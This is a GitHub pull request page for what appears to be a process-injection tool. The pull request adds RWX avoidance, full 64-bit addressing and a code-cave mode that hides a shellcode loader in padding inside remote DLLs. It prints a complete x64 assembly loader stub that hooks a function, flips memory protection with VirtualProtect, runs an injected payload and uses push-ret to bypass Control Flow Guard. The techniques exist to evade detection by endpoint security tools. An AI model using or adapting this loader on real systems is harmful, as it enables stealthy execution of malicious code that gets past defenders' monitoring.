Skip to content

Avoid RWX, support full 64bit range and any remote DLL - #2

Open
evilele wants to merge 15 commits into
CCob:masterfrom
evilele:master
Open

evilele wants to merge 15 commits into
CCob:masterfrom
evilele:master

Conversation

@evilele

@evilele evilele commented Oct 17, 2026 •

Copy link
Copy Markdown

What

  • implements the proposed RWX avoidance while the shellcode loader is waiting for execution
  • supports full 64bit addressing and any remote DLL
  • new Code Cave mode -c to search for padding inside any remote DLLs to avoid new allocations for the shellcode loader

How

RWX avoidance

  • in addition to the original (overwritten) bytes, the address of VirtualProtect is also patched into the shellcode at runtime
  • before the shellcode restores the original bytes in the hook, the shellcode calls VirtualProtect to change to RWX
  • after the restore the shellcode again calls VirtualProtect to change back to RX
  • this (together with 64bit addressing) increases the shellcode loader to 139 bytes, from originally 56 bytes (sadly)

New Shellcode Loader

.code

MyStub PROC

    ; ==========================================
    ; PROLOG: Save registers
    ; ==========================================
    ; rbx already has the addr of the hooked function via ret
    push rsi                       ; Save old rsi
    push rcx                       ; Save all volatile registers
    push rdx
    push r8
    push r9
    push r10
    push r11
    mov rbx, 1111222233334444h    ; Store hookedFunc in rbx (patched at runtime)
    mov rsi, 5555666677778888h    ; Store VirtProt in rsi (patched at runtime)

    ; ==========================================
    ; VIRTUALPROTECT (Change to RWX)
    ; ==========================================
    sub rsp, 28h                  ; Allocate shadow space 20h + 8 for oldProtect
    mov rcx, rbx                  ; Arg 1: hookedFunc
    mov rdx, 12                   ; Arg 2: Size
    mov r8, 40h                   ; Arg 3: PAGE_EXECUTE_READWRITE (0x40)
    lea r9, [rsp]                 ; Arg 4: oldProtect pointer
    call rsi                      ; Call VirtualProtect
    add rsp, 28h                  ; Clean up stack 

    ; ==========================================
    ; RESTORE ORIGINAL 12 BYTES in hooked func
    ; ==========================================
    mov rax, 9999AAAACCCCDDDDh    ; First 8 bytes of original prologue (patched at runtime)
    mov QWORD PTR [rbx], rax      ; Write bytes to [rbx]
    mov eax, 09090909h            ; Next 4 bytes of original prologue (patched at runtime)
    mov DWORD PTR [rbx + 8], eax  ; Write bytes to [rbx + 8]

    ; ==========================================
    ; VIRTUALPROTECT (Change back to RX)
    ; ==========================================
    sub rsp, 28h            ; Allocate shadow space 20h + 8 for oldProtect
    mov rcx, rbx            ; Arg 1: hookedFunc
    mov rdx, 12             ; Arg 2: Size
    mov r8, 20h             ; Arg 3: PAGE_EXECUTE_READ (0x20)
    lea r9, [rsp]           ; Arg 4: oldProtect pointer
    call rsi                ; Call VirtualProtect
    add rsp, 28h            ; Clean up stack

    ; ==========================================
    ; CALL THE SHELLCODE
    ; ==========================================
    sub rsp, 40h            ; Allocate shadow space
    call Payload            ; Call the actual supplied payload (call +11h)
    add rsp, 40h            ; Clean up stack

    ; ==========================================
    ; EPILOG: Restore and exit
    ; ==========================================
    pop r11
    pop r10
    pop r9
    pop r8
    pop rdx
    pop rcx
    pop rsi

    push rbx                ; rbx stills hold hookedFunc addr
    ret                     ; use push-ret to bypass CFG

MyStub ENDP

; ==========================================
; INLINE PAYLOAD BLOCK
; ==========================================
Payload PROC
    ; inserted dynamically
Payload ENDP

END
*/

Demo with Debugger

no_standing_RWX

64bit addressing and Code Caves

  • uses push-ret to call any 64bit addr, like movabs rax, 0x00007ffe80e10000; push rax; ret
  • implements a remote DLL enumerator to find executable sections with 246 "filler" bytes (139 for loader, 107 for calc), like 0x00, 0x90 and 0xCC for the shellcode loader
  • safely falls back to normal AllocateVirtualMemory for the shellcode loader

Demo

support_any_DLL

Why

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant